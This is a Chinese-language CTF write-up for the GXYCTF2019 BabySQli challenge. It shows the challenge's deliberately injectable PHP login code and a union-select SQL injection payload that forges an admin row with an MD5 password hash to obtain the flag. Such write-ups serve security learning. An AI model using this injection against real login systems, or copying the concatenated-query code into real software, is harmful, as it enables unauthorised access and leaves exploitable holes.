[GXYCTF2019]BabySQli 刷题笔记
随便登录试试
好像是有admin这个用户名(一般都有QAQ),加入单引号,爆出错误,加入常规操作发现始终回显一样,看看源代码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 百度一下,会发现这个是base32+base64加密得到的,解密后得到select * from user where username = ‘$name’,说明只能在name处做手脚,看看buu给出的源码
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
审计一下,发现if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; }
当第二个字段为admin,第三个字段为admin的密码时得到flag,构造payload,1’ union select 1,‘admin’,‘1’#
缓缓打出一个‘?’,看看大佬的wp,好像是要加密于是将’1’,改为’c4ca4238a0b923820dcc509a6f75849b’,得到flag